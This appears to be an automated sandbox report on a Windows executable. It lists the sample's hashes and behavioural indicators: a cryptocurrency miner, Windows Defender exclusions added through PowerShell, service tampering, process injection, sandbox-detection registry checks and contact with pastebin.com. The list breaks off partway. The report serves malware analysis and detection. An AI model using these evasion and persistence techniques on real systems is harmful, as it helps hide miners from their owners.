Analysis
- max time kernel
150s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
10/09/2026, 23:58
Static task
static1
Behavioral task
behavioral1
Sample
8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
Resource
win11ltsc2024-20260710-en
General
- Target 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
- Size 8.3MB
- Sample260910-31ftzafb38
- SHA256 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2
- MD5 02b214a1c45453a01667d3622b961568
- SHA1 6eae827670053cd6f4b5e60385099fc0313b6afe
- SHA512 c6f23ca610a64120d28c68b5823e73a99cfe02792633c9cdbc37814b00c8c6d64683408542f5e9d0dae8d79bd76ec35b1ba5365edcb5b567c3191dd50e55fd86
- SSDEEP 196608:GPX57oMXckusS9NmKFrjg/TTTk3RPz/DgTXDvfkeRLkiJjc42:Gf5/5u9XQTY3hebY6jf
- TLSH T15A9623A12A9C0478D07A243347DCDA49E90A7885DBB034D75FD77E0FA4ADEC05A713EA
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
description pid Process procid_target PID 4960 created 6064 4960 WerFault.exe 153 - Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
description pid Process procid_target PID 2940 created 620 2940 powershell.EXE 5 PID 5668 created 620 5668 powershell.EXE 5 PID 6108 created 6064 6108 svchost.exe 153 - Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2724 powershell.exe 1116 powershell.exe 2940 powershell.EXE 5668 powershell.EXE - Sets service image path in registry 3 TTPs 2 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\dosvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\UsoSvc\ImagePath = "C:\\Windows\\system32\\svchost.exe -k netsvcs -p" WaaSMedicAgent.exe - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe - Creates new service(s) 2 TTPs
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Executes dropped EXE 1 IoCs
pid Process 2880 Svchost.exe - Stops running service(s) 4 TTPs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 20 pastebin.com 21 pastebin.com - Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 4700 powercfg.exe 4180 powercfg.exe 976 powercfg.exe 3804 powercfg.exe 2304 powercfg.exe 1588 powercfg.exe 4596 powercfg.exe 4936 powercfg.exe - Drops file in System32 directory 17 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF svchost.exe File opened for modification C:\Windows\system32\MRT.exe Svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\MRT.exe 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Tasks\dialersvc64 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
pid Process 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 2880 Svchost.exe 2880 Svchost.exe - Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 2476 set thread context of 2312 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 108 PID 2940 set thread context of 2620 2940 powershell.EXE 126 PID 2880 set thread context of 1872 2880 Svchost.exe 144 PID 2880 set thread context of 5156 2880 Svchost.exe 149 PID 2880 set thread context of 5248 2880 Svchost.exe 150 PID 5668 set thread context of 6064 5668 powershell.EXE 153 - Launches sc.exe 15 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5520 sc.exe 4068 sc.exe 1620 sc.exe 3600 sc.exe 3504 sc.exe 3124 sc.exe 3008 sc.exe 4604 sc.exe 220 sc.exe 3372 sc.exe 4388 sc.exe 636 sc.exe 2916 sc.exe 3428 sc.exe 3412 sc.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2116 cmd.exe 1912 cmd.exe - Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000\LogConf wmiprvse.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1789084813" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 08 Sep 2026 04:38:30 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 1116 powershell.exe 1116 powershell.exe 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 2940 powershell.EXE 2940 powershell.EXE 2880 Svchost.exe 2880 Svchost.exe 2880 Svchost.exe 2724 powershell.exe 2940 powershell.EXE 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2724 powershell.exe 2724 powershell.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2724 powershell.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2724 powershell.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2724 powershell.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe 2620 dllhost.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3244 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1116 powershell.exe Token: SeShutdownPrivilege 1588 powercfg.exe Token: SeCreatePagefilePrivilege 1588 powercfg.exe Token: SeShutdownPrivilege 976 powercfg.exe Token: SeCreatePagefilePrivilege 976 powercfg.exe Token: SeShutdownPrivilege 2304 powercfg.exe Token: SeCreatePagefilePrivilege 2304 powercfg.exe Token: SeShutdownPrivilege 3804 powercfg.exe Token: SeCreatePagefilePrivilege 3804 powercfg.exe Token: SeDebugPrivilege 2940 powershell.EXE Token: SeDebugPrivilege 2724 powershell.exe Token: SeDebugPrivilege 2940 powershell.EXE Token: SeDebugPrivilege 2620 dllhost.exe Token: SeShutdownPrivilege 4936 powercfg.exe Token: SeCreatePagefilePrivilege 4936 powercfg.exe Token: SeShutdownPrivilege 4596 powercfg.exe Token: SeCreatePagefilePrivilege 4596 powercfg.exe Token: SeShutdownPrivilege 4700 powercfg.exe Token: SeCreatePagefilePrivilege 4700 powercfg.exe Token: SeShutdownPrivilege 4180 powercfg.exe Token: SeCreatePagefilePrivilege 4180 powercfg.exe Token: SeLockMemoryPrivilege 5248 dialer.exe Token: SeDebugPrivilege 5668 powershell.EXE Token: SeDebugPrivilege 5668 powershell.EXE Token: SeShutdownPrivilege 396 dwm.exe Token: SeCreatePagefilePrivilege 396 dwm.exe Token: SeShutdownPrivilege 3244 Explorer.EXE Token: SeCreatePagefilePrivilege 3244 Explorer.EXE Token: SeShutdownPrivilege 3244 Explorer.EXE Token: SeCreatePagefilePrivilege 3244 Explorer.EXE Token: SeAssignPrimaryTokenPrivilege 2096 svchost.exe Token: SeIncreaseQuotaPrivilege 2096 svchost.exe Token: SeSecurityPrivilege 2096 svchost.exe Token: SeTakeOwnershipPrivilege 2096 svchost.exe Token: SeLoadDriverPrivilege 2096 svchost.exe Token: SeSystemtimePrivilege 2096 svchost.exe Token: SeBackupPrivilege 2096 svchost.exe Token: SeRestorePrivilege 2096 svchost.exe Token: SeShutdownPrivilege 2096 svchost.exe Token: SeSystemEnvironmentPrivilege 2096 svchost.exe Token: SeUndockPrivilege 2096 svchost.exe Token: SeManageVolumePrivilege 2096 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2096 svchost.exe Token: SeIncreaseQuotaPrivilege 2096 svchost.exe Token: SeSecurityPrivilege 2096 svchost.exe Token: SeTakeOwnershipPrivilege 2096 svchost.exe Token: SeLoadDriverPrivilege 2096 svchost.exe Token: SeSystemtimePrivilege 2096 svchost.exe Token: SeBackupPrivilege 2096 svchost.exe Token: SeRestorePrivilege 2096 svchost.exe Token: SeShutdownPrivilege 2096 svchost.exe Token: SeSystemEnvironmentPrivilege 2096 svchost.exe Token: SeUndockPrivilege 2096 svchost.exe Token: SeManageVolumePrivilege 2096 svchost.exe Token: SeAuditPrivilege 2764 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2096 svchost.exe Token: SeIncreaseQuotaPrivilege 2096 svchost.exe Token: SeSecurityPrivilege 2096 svchost.exe Token: SeTakeOwnershipPrivilege 2096 svchost.exe Token: SeLoadDriverPrivilege 2096 svchost.exe Token: SeSystemtimePrivilege 2096 svchost.exe Token: SeBackupPrivilege 2096 svchost.exe Token: SeRestorePrivilege 2096 svchost.exe Token: SeShutdownPrivilege 2096 svchost.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 5248 dialer.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2116 wrote to memory of 1880 2116 cmd.exe 95 PID 2476 wrote to memory of 2312 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 108 PID 2476 wrote to memory of 2312 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 108 PID 2476 wrote to memory of 2312 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 108 PID 2476 wrote to memory of 2312 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 108 PID 2476 wrote to memory of 2312 2476 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe 108 PID 2940 wrote to memory of 2620 2940 powershell.EXE 126 PID 2940 wrote to memory of 2620 2940 powershell.EXE 126 PID 2940 wrote to memory of 2620 2940 powershell.EXE 126 PID 2940 wrote to memory of 2620 2940 powershell.EXE 126 PID 2940 wrote to memory of 2620 2940 powershell.EXE 126 PID 2620 wrote to memory of 620 2620 dllhost.exe 5 PID 2620 wrote to memory of 676 2620 dllhost.exe 7 PID 2620 wrote to memory of 884 2620 dllhost.exe 11 PID 2620 wrote to memory of 60 2620 dllhost.exe 13 PID 2620 wrote to memory of 396 2620 dllhost.exe 14 PID 2620 wrote to memory of 1020 2620 dllhost.exe 15 PID 2620 wrote to memory of 1072 2620 dllhost.exe 16 PID 2620 wrote to memory of 1160 2620 dllhost.exe 18 PID 2620 wrote to memory of 1188 2620 dllhost.exe 19 PID 2620 wrote to memory of 1196 2620 dllhost.exe 20 PID 2620 wrote to memory of 1296 2620 dllhost.exe 21 PID 2620 wrote to memory of 1316 2620 dllhost.exe 22 PID 2620 wrote to memory of 1324 2620 dllhost.exe 23 PID 2620 wrote to memory of 1396 2620 dllhost.exe 24 PID 2620 wrote to memory of 1404 2620 dllhost.exe 25 PID 2620 wrote to memory of 1412 2620 dllhost.exe 26 PID 2620 wrote to memory of 1676 2620 dllhost.exe 27 PID 2620 wrote to memory of 1684 2620 dllhost.exe 28 PID 2620 wrote to memory of 1700 2620 dllhost.exe 29 PID 2620 wrote to memory of 1756 2620 dllhost.exe 30 PID 2620 wrote to memory of 1860 2620 dllhost.exe 31 PID 2620 wrote to memory of 1904 2620 dllhost.exe 32 PID 2620 wrote to memory of 1928 2620 dllhost.exe 33 PID 2620 wrote to memory of 1992 2620 dllhost.exe 34 PID 2620 wrote to memory of 2072 2620 dllhost.exe 35 PID 2620 wrote to memory of 2080 2620 dllhost.exe 36 PID 2620 wrote to memory of 2096 2620 dllhost.exe 37 PID 2620 wrote to memory of 2108 2620 dllhost.exe 38 PID 2620 wrote to memory of 2188 2620 dllhost.exe 39 PID 2620 wrote to memory of 2244 2620 dllhost.exe 40 PID 2620 wrote to memory of 2360 2620 dllhost.exe 42 PID 2620 wrote to memory of 2524 2620 dllhost.exe 43 PID 2620 wrote to memory of 2652 2620 dllhost.exe 44 PID 2620 wrote to memory of 2676 2620 dllhost.exe 45 PID 2620 wrote to memory of 2756 2620 dllhost.exe 46 PID 2620 wrote to memory of 2764 2620 dllhost.exe 47 PID 2620 wrote to memory of 2824 2620 dllhost.exe 48 PID 2620 wrote to memory of 2836 2620 dllhost.exe 49 PID 2620 wrote to memory of 3028 2620 dllhost.exe 50 PID 2620 wrote to memory of 3052 2620 dllhost.exe 51 PID 2620 wrote to memory of 2368 2620 dllhost.exe 52 PID 2620 wrote to memory of 708 2620 dllhost.exe 54 PID 2620 wrote to memory of 3172 2620 dllhost.exe 55 PID 2620 wrote to memory of 3244 2620 dllhost.exe 56 PID 2620 wrote to memory of 3396 2620 dllhost.exe 57 PID 2620 wrote to memory of 3592 2620 dllhost.exe 58 PID 2620 